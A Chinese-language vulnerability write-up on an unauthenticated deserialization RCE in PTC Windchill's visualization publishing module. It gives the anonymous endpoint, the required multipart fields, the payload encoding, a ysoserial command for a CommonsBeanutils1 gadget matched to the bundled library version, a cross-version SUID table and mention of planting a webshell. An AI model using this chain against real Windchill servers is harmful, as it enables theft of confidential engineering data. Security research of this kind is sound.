CVE-2026-12569 深度分析:PTC Windchill 未授权反序列化 RCE
背景
先介绍这个产品。PTC Windchill 是一套产品生命周期管理(PLM)系统,用在制造业和重工业领域,管理从设计、工程到生产的完整数据链条——CAD 图纸、物料清单(BOM)、变更记录、零部件文档都归它管。它服务的企业大多是航空航天、汽车、重型机械、国防承包商这类,设计图纸和工程数据属于核心机密,所以这套系统一旦被打穿,泄露的就是企业的研发命脉。Windchill 体型庞大,前端是 Apache,后端跑在 Tomcat 上(PTC 称为 MethodServer),依赖 Oracle 数据库存业务数据、LDAP 目录服务存用户信息,整套栈跑在 JDK 1.8 上(基于本次测试环境)。这次出问题的是它的 WVS(Windchill Visualization Services)可视化发布模块,负责把 CAD 模型转换成可在浏览器里查看的轻量化可视格式。
CVE-2026-12569 影响 PTC Windchill PDMLink / FlexPLM 的 WVS 可视化发布模块。NVD 给出的 CVSS v3.1 评分为 9.8,漏洞可被自动化利用,利用成功后可完全控制目标,且无需认证、无需用户交互,网络可达即可触发。该漏洞被标注为在野主动利用中,并于 2026-06-25 被 CISA 加入 KEV 目录——这是 PTC 产品首个进入 KEV 的漏洞。受影响版本覆盖 11.0 M030、11.1 M020、11.2.1、12.0.2、12.1.2、13.0.2、13.1.1。
这已是 PTC Windchill 在 90 天内第二次因反序列化被打。前作 CVE-2026-4681(CVSS 10.0)于 2026 年 3 月披露,补丁封堵某条路径后,攻击者迁移到 Publish 入口继续利用。
本研究使用的环境如下(均为授权环境):
| 项 | 内容 |
|---|---|
| 分析对象 | Windchill 11.0 M030 |
| 运行时 | JDK 1.8.0_60 |
| 运行实例 | MethodServer |
| 工具 | CFR & idea & vscode & claude |
摘要
- 漏洞类型: 匿名反射 RPC 网关
WindchillGW将攻击者 POST body 交由com.ptc.wvs.server.publish.Publish.doPublishRep处理,该方法把 multipart 表单中的config_spec字段当作 base64 编码的 Java 序列化对象,喂给wt.util.Encoder.decode()→ObjectInputStream.readObject(),全程无类白名单 / 无ObjectInputFilter(CWE-502 + CWE-20) - 利用条件: 无需任何认证,单个 HTTP POST 请求即可触发;目标进程以 MethodServer 权限执行命令
- 影响范围: 未授权远程代码执行,实测以
pdm11\administrator权限落盘 webshell - 前置条件: 仅需网络可达目标,无需凭据、无需用户交互
- Gadget 链: commons-collections 3.2.2 自带 functors 防护使全系列 CC 链失效,commons-beanutils 1.8.3 的
BeanComparator无防护但 SUID 与 ysoserial 默认(1.9.x)不匹配;最终用 1.8.3 jar 重新生成CommonsBeanutils1成功
攻击入口
漏洞从入口到 sink 跨了好几层,按请求走向一层层拆。第一层是入口 URL,也是整个漏洞”未授权”的来源:
1
2
POST /Windchill/servlet/WindchillGW/com.ptc.wvs.server.publish.Publish/doPublishRep
Content-Type: multipart/form-data; boundary=<任意 boundary>
Windchill 部署了两个对称的网关 Servlet,鉴权策略截然不同:
WindchillGW→wt.httpgw.HTTPGatewayServlet(匿名)WindchillAuthGW→wt.httpgw.HTTPAuthGatewayServlet(需 Basic 认证)
Apache 配置 30-app-Windchill-Auth.conf:86 显式把 WindchillGW 豁免认证:
1
2
3
<LocationMatch ^/+Windchill/+servlet/+WindchillGW(;.*)?>
Require all granted
</LocationMatch>
app-Windchill-AuthRes.xml 同样标了匿名:
1
<resource type="anonymous">servlet/WindchillGW</resource>
同一台机器实测对照:
| 路径 | 状态码 | 含义 |
|---|---|---|
/Windchill/servlet/WindchillGW/... |
200 / 302 / 500(非 401) | 匿名放行 |
/Windchill/servlet/WindchillAuthGW/... |
401 + WWW-Authenticate: Basic |
受 Basic 认证保护 |
漏洞只能经 WindchillGW 进入。两个网关在传输层对称,鉴权差异完全落在 Apache 配置上。业务类 Publish.doPublishRep 既没有在方法本身做鉴权,反射调用时也不校验,其方法签名同时满足两个网关的反射分发要求。访问控制放在了传输层而非应用层,属于典型的边界错位。
反射 RPC 分发
请求过了 Apache 的匿名放行,到达后端。进后端后的调用链:
1
2
3
HTTPGatewayServlet.service()
→ MethodRequestHandler.handleRequest()
→ HTTPServer.processRequest(req, resp)
HTTPServer.processRequest(HTTPServer.java:93-162)做的事情说白了就是一套通用的反射 RPC:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
// path_info = "/com.ptc.wvs.server.publish.Publish/doPublishRep"
StringTokenizer st = new StringTokenizer(path_info, "/");
String className = st.nextToken(); // com.ptc.wvs.server.publish.Publish
String methodName = st.nextToken(); // doPublishRep
Class<?> clazz = Class.forName(className);
if (hTTPRequest.isPostRequest()) {
// POST 优先匹配 3 参数重载
Class[] sig = {HTTPRequest.class, HTTPResponse.class, InputStream.class};
Object[] args = {req, resp, req.inputStream};
Method m = clazz.getMethod(methodName, sig);
m.invoke(null, args);
}
这段反射调用不检查鉴权,不检查 RemoteAccess 注解,不校验目标类是否在白名单内。只要某个类存在 public static methodName(HTTPRequest, HTTPResponse, InputStream) 形态的方法,就能被任意匿名调用。对 POST 请求,它还会把原始 InputStream(请求体)作为第三个参数直接传给目标方法,攻击者由此完全控制传入 doPublishRep 的字节流。
验证很简单,GET 一个不存在的类:
1
2
GET /Windchill/servlet/WindchillGW/foo.bar.NonExistent/fakeMethod
→ 500 + java.lang.ClassNotFoundException: foo.bar.NonExistent
请求未经认证就到达了 Class.forName,反射分发链路是通的。
反序列化 Sink
反射调用最终落到 Publish.doPublishRep,它位于 Publish.java:1641,用 MPInputStream 解析 multipart 表单,逐字段读取:
1
2
3
4
5
6
7
8
9
10
11
12
13
MPInputStream mp = new MPInputStream(inputStream,
hTTPRequest.getProperty("cgi.multipart_boundary"));
if (name.equals(CONFIG_SPEC)) string10 = readString().trim(); // 1680
if (name.equals(DATA_SOURCE_TYPE)) ...
if (name.equals(OBJ_REF)) ...
// 当 dataSourceType == "1" 时进入 ConfigSpec 分支
if (string5.equals("1")) { // 1730
Object object2 = Encoder.decode(string10); // ← 反序列化触发点!1755
if (object2 instanceof ConfigSpec) ...
else if (object2 instanceof NavigationCriteria) ...
}
进入反序列化分支只需三个 multipart 字段:
| 字段名 | 取值 | 作用 |
|---|---|---|
dataSourceType |
1 |
进入 ConfigSpec 分支 |
objRef |
任意非空字符串 | 否则提前 return(反序列化之后才用到,不影响触发) |
config_spec |
base64(序列化 gadget) | 喂给 Encoder.decode |
wt.util.Encoder.decode(String) 本身只有一行:
1
2
3
public static Object decode(String s) {
return new Encoder().setInput(s).readObject();
}
内部创建的 DecodeObjectInputStream extends ObjectInputStream,最终调用原生 readObject()。这个 ObjectInputStream 既没调 setObjectInputFilter,也没重写 resolveClass 做白名单——标准的 Java 反序列化调用点,零过滤。
这里有一个容易误判的地方。wt.verification 包里有 CallContext.computeTrustForObjectInput 和 ObjectInputTrust,初看像是反序列化过滤器。但看源码:computeTrustForObjectInput 只是在 ThreadLocal 里存取一个对象引用,不包装也不过滤 ObjectInputStream;ObjectInputTrust.isTrusted() 只判断 ObjectInput 引用是否相等,不是类过滤;而且整套机制基于 RMI client host,本漏洞走的是 HTTP multipart → Encoder.decode,根本不经过 RMI 信任链。所以这套机制对这个漏洞没有任何防护。
运行时验证
代码看下来,sink 确实存在且零防护。但静态分析只能说”看起来能跑通”,要确认 sink 真的可达,最干净的办法是不投递任何 gadget,只发一个无害的垃圾字符串触发它的”格式错误”路径——如果服务端真去反序列化这个垃圾串,就会抛出格式异常,异常的调用栈正好证明 sink 被命中。下面就是这次探测的 MethodServer 日志(PID 5480,原始未改):
1
2
3
4
5
2026-07-07 10:04:39,384 ERROR wt.wvs.publish.Publish - Unexpected exception
at wt.util.Encoder$DecodeObjectInputStream.<init>(Encoder.java:245)
at wt.util.Encoder.setInput(Encoder.java:132)
at wt.util.Encoder.decode(Encoder.java:77)
at com.ptc.wvs.server.publish.Publish.doPublishRep(Publish.java:3125)
调用栈精确命中 Publish.doPublishRep → Encoder.decode → setInput → DecodeObjectInputStream.<init>。紧跟着的下一行更关键:
1
2
3
4
5
java.io.StreamCorruptedException: invalid stream header: 4C7212FC
at java.io.ObjectInputStream.readStreamHeader(ObjectInputStream.java:806)
at java.io.ObjectInputStream.<init>(ObjectInputStream.java:299)
at wt.util.Encoder$DecodeObjectInputStream.<init>(Encoder.java:245)
at wt.util.Encoder.decode(Encoder.java:77)
4C7212FC 是那个垃圾字符串经 base64 解码后的首 4 字节,不等于 Java 序列化魔数 AC ED 00 05,所以 ObjectInputStream.readStreamHeader 拒绝了。这说明 ObjectInputStream 真的被创建了(不是 XML/JSON 解析),Encoder 的 base64 解码也在执行。剩下的只是一个合法的序列化 payload:把 4C7212FC 换成正确的 AC ED 00 05 + gadget 字节,流头校验就能通过,readObject() 执行,RCE 成立。整个过程没投递任何 gadget,只靠一个格式错误的字符串就证明了 sink 可达。
Gadget 选型
sink 可达已经确认,但这只说明反序列化流程会执行。要真正触发命令执行,还得有一条能在目标 classpath 上跑通的 gadget 链。
失败一:CommonsCollections6 被 CC 3.2.2 自带防护拦截
投递 ysoserial CommonsCollections6 "calc.exe"(1281 字节),服务端日志:
1
2
3
4
5
6
7
java.lang.UnsupportedOperationException: Serialization support for
org.apache.commons.collections.functors.InvokerTransformer is disabled
for security reasons. To enable it set system property
'org.apache.commons.collections.enableUnsafeSerialization' to 'true'...
at org.apache.commons.collections.functors.InvokerTransformer.readObject(InvokerTransformer.java:164)
at org.apache.commons.collections.map.LazyMap.readObject(LazyMap.java:150)
at wt.util.Encoder.decode(Encoder.java:77)
本环境捆绑的是 Apache Commons-Collections 3.2.2(位于 ie3rdpartylibs.jar,pom.properties 确认)。3.2.2 给所有 functors 类(InvokerTransformer、InstantiateTransformer、CloneTransformer 等)的 readObject() 加了官方防护——检查系统属性 org.apache.commons.collections.enableUnsafeSerialization,默认 false,直接抛 UnsupportedOperationException。这是 Apache 专门为堵 CC 链加的补丁,对应 CVE-2015-7501 的修复。
注意防护点的位置:它在反序列化过程之中,而不是之前。请求确实进了 ObjectInputStream,确实开始还原对象图,只是还原到 InvokerTransformer 这个 functors 时被它自己的 readObject 挡下。从另一角度看,这反而说明反序列化流程跑起来了,sink 确实可达,只是要换一条不依赖 CC functors 的链。CC1/CC5/CC6/CC7 全系列都依赖 functors,至此全部出局。
这里有一个常见误区:很多自动化扫描器或半自动利用工具的逻辑是检测到 classpath 上有 commons-collections 就判 CC 链可用。在本环境下这种判断会 100% 失败。必须确认 CC 版本——3.2.2 / 4.1 及以上自带 functors 防护,全系列 CC 链失效。
失败二:CommonsBeanutils1 的 serialVersionUID 不匹配
转向 CommonsBeanutils1,直接用 ysoserial 默认生成的投递:
1
2
3
java.io.InvalidClassException: org.apache.commons.beanutils.BeanComparator;
local class incompatible: stream classdesc serialVersionUID = -2044202215314119608,
local class serialVersionUID = -3490850999041592962
ysoserial 内嵌的是 commons-beanutils 1.9.x 的 BeanComparator(SUID -2044202215314119608),而本环境 Windchill 自带的是 1.8.3(wc3rdpartylibs.jar 的 pom.properties 确认),SUID -3490850999041592962。两者对不上,JDK 的 SUID 校验在反序列化之前就拒绝了。
解释一下 SUID 校验。Java 序列化时每个可序列化类在流里写入一个 64 位 SUID——要么是类里显式声明的 serialVersionUID,要么是 JVM 按类结构自动算的哈希。反序列化时 ObjectStreamClass 比对流里的 SUID 和本地类的 SUID,不一致就抛 InvalidClassException,在还原任何对象之前拒绝,而且无法绕过。ysoserial 打包时固定用 1.9.x 的 BeanComparator,Windchill 11.0 M030 用的是 1.8.3,两个版本之间这个类的结构有细微变化(推测是引入了泛型参数 BeanComparator<T>),自动算出来的 SUID 就不同了。这种 SUID 不匹配在企业级 Java 应用里非常常见,是 ysoserial 默认 payload 失效的头号原因。
好消息是 BeanComparator(1.8.3)本身没有 readObject 防护,不像 InvokerTransformer,只是版本对不上。用 1.8.3 重新生成即可。
成功:用 commons-beanutils 1.8.3 重新生成 CB1,命令执行
把 1.8.3 的 jar 放到 classpath 最前面,覆盖 ysoserial 内嵌的 1.9.x:
1
2
3
4
5
6
curl -o commons-beanutils-1.8.3.jar \
https://repo1.maven.org/maven2/commons-beanutils/commons-beanutils/1.8.3/commons-beanutils-1.8.3.jar
java -cp "commons-beanutils-1.8.3.jar;commons-collections-3.2.2.jar;\
commons-logging-1.2.jar;ysoserial-all.jar" \
ysoserial.GeneratePayload CommonsBeanutils1 "calc.exe" > payload.bin
为什么把 1.8.3 的 jar 放到最前面就能解决?因为 ysoserial 生成 payload 时用 Class.forName 加载 BeanComparator,把当前 JVM 里这个类的实际 SUID 写进流。1.8.3 的 jar 排在 classpath 前面,加载的就是 1.8.3 的 BeanComparator,SUID 自然和目标一致。生成端和目标端用同一个依赖版本,是保证 SUID 对齐最可靠的办法。实际作战中,拿到目标的 WEB-INF/lib/*.jar 后,应当直接把这些 jar 加到生成工具 classpath 的最前面。
校验 SUID 对齐:
1
2
3
payload 内 BeanComparator SUID = -3490850999041592962
Windchill 本地 SUID = -3490850999041592962
→ 完全匹配
投递后 calc.exe 在目标机启动,命令执行成立:
把 payload 里的命令换成写 JSP 文件,同样能向 web 可读目录落 webshell,实测以 pdm11\administrator 权限执行命令——命令执行通道成立后,后续利用只是换 payload 内容,此处不再展开。
SUID 跨版本映射:可复用的速查表
1.8.3 的问题解决了,下一个问题是:其他 Windchill 版本(11.1/11.2/12.x/13.x)捆绑的 commons-beanutils 是哪个版本?它们的 SUID 和 1.8.3 一样吗?如果不一样,固化在 PoC 里的 payload 打别的版本就会失败。
把 commons-beanutils 多个版本都测一遍,用 JDK 自带的 serialver 逐个算 BeanComparator 的 SUID:
1
serialver -classpath commons-beanutils-X.Y.Z.jar org.apache.commons.beanutils.BeanComparator
结果很有规律:
| commons-beanutils 版本 | BeanComparator SUID | 与 Windchill 11.0 (1.8.3) 兼容? |
|---|---|---|
| 1.8.0 | -3490850999041592962 |
相同 |
| 1.8.2 | -3490850999041592962 |
相同 |
| 1.8.3 | -3490850999041592962 |
相同(测试环境) |
| 1.9.2 | -2044202215314119608 |
不同 |
| 1.9.3 | -2044202215314119608 |
不同 |
| 1.9.4 | -2044202215314119608 |
不同 |
同一大版本系列内部 SUID 稳定,跨大版本才变。1.8.x 全系列共用一个,1.9.x 全系列共用另一个。这跟 BeanComparator 没有显式声明 serialVersionUID 有关(javap -p 可验证),SUID 由 JVM 按类结构自动算;1.8 到 1.9 之间类结构变了,系列内部结构不变,SUID 就稳定。
最终链与传输格式
两次失败、一次成功,最终打通的链路如下(CommonsBeanutils1,beanutils 1.8.3 版):
1
2
3
4
5
6
7
8
ObjectInputStream.readObject()
└─ PriorityQueue.readObject() // heapify → 触发比较
└─ BeanComparator.compare() // commons-beanutils 1.8.3(SUID 对齐,无 readObject 防护)
└─ PropertyUtils.getProperty() // 反射取属性 "outputProperties"
└─ TemplatesImpl.getOutputProperties() // JDK 1.8.0_60 内置(触发点)
└─ TemplatesImpl.newTransformer()
└─ defineClass(恶意字节码) // 加载并实例化
└─ Runtime.exec("calc.exe") // 命令执行
这条链绕过 CC 3.2.2 防护的关键在于完全不碰 commons-collections functors:BeanComparator(1.8.3)没有 readObject 防护,SUID 对齐后可通过;TemplatesImpl 是 JDK 1.8.0_60 自带类,没有版本问题。BeanComparator + TemplatesImpl 的组合适用于所有”CC 已打补丁、beanutils 未打补丁”的环境。
链路有了,下一个问题是:这条链的序列化字节,怎么塞进 HTTP 请求、被服务端正确还原?这取决于 wt.util.Encoder 的传输格式。反序列化数据不是裸 Java 序列化字节,而是经 Encoder 自定义封装:编码为 base64(完整序列化字节流,含魔数 AC ED 00 05),放在 multipart 表单的 config_spec 字段里(纯文本字段,不是文件上传)。Encoder.setInput(String) 解码时先 resetStream() 重写魔数,跳过输入前 4 字节,再 base64 解码剩余字节。构造 payload 时直接 base64 编码完整的 ysoserial 输出(含魔数字节)即可。config_spec 必须按 Encoder 的格式组织,否则 readObject 会因流头错位抛 StreamCorruptedException(就是前面 4C7212FC 那条日志的由来),而不是触发 gadget。
方法论回顾
| 阶段 | 发现 | 意义 |
|---|---|---|
| Apache 配置审计 | WindchillGW 显式 Require all granted |
定位未授权入口 |
| 反射分发分析 | path_info 直接拆成类名/方法名反射调用 | 解释任意方法可达性 |
| 无害垃圾字符串探测 | StreamCorruptedException: 4C7212FC |
非破坏性证明 sink 可达 |
| CC6 投递 | UnsupportedOperationException 来自 CC 自身防护 |
判定全系列 CC 链失效,需换链 |
| CB1 默认投递 | InvalidClassException SUID 不匹配 |
定位 ysoserial 默认 payload 失效原因 |
| serialver 批量测算 | SUID 按版本族分布 | 固化 payload 只需覆盖到族粒度 |
时间线
| 日期 | 事件 |
|---|---|
| 2026-03 | 前作 CVE-2026-4681(CVSS 10.0)披露 |
| 2026-06-25 | CVE-2026-12569 被 CISA 加入 KEV 目录 |
| 2026-07-07 | 运行实例非破坏性验证 + 武器化实测(calc PID 4952) |
| 2026-07-08 | 本文分析整理 |
总结
CVE-2026-12569 是一个三段式漏洞:入口的 WindchillGW 在 Apache 层 Require all granted,匿名可达;中间的 HTTPServer.processRequest 把 path_info 直接拆成类名/方法名做反射调用,没有鉴权也没有白名单;终点的 Publish.doPublishRep → Encoder.decode → ObjectInputStream.readObject() 零过滤。三段叠加,一个普通的业务接口变成了稳定的未授权命令执行通道。
gadget 调试那段说明反序列化利用的成败往往不在 sink 有没有,而在环境版本细节对不对齐:commons-collections 在 classpath 不等于 CC 链可用(3.2.2 自带 functors 防护,全系列出局);commons-beanutils 可用不等于 ysoserial 默认的 CB1 可用(SUID 版本族差异,1.8.x 和 1.9.x 各占一个)。
至于 Windchill 自己做了什么防护,从 CC6 那条日志能看得很清楚:Encoder.decode → ObjectInputStream 全程没有 ObjectInputFilter,也没有类白名单。CC 链被挡是 CC 库自己的防护,不是 Windchill 的。Windchill 对这个反序列化点没有任何防护,这才是 CVE-2026-12569 的问题所在。加上 90 天内连出两次同类漏洞(CVE-2026-4681 → CVE-2026-12569),反序列化攻击面的系统性治理缺失已经很明显。
参考链接
- NVD CVE-2026-12569
- CISA KEV Catalog(2026-06-25 入库)
- PTC 安全公告与 IOC(deserialization / mitigation 规则出处)
- 关联漏洞:CVE-2026-4681(同产品,2026-03,CVSS 10.0)
- 同类参考:CVE-2023-46604(Apache ActiveMQ OpenWire 反序列化)、CVE-2023-43208(Mirth Connect)
- 工具:ysoserial(gadget 生成)、CFR 0.152(反编译)
- Apache Commons-Collections 安全报告






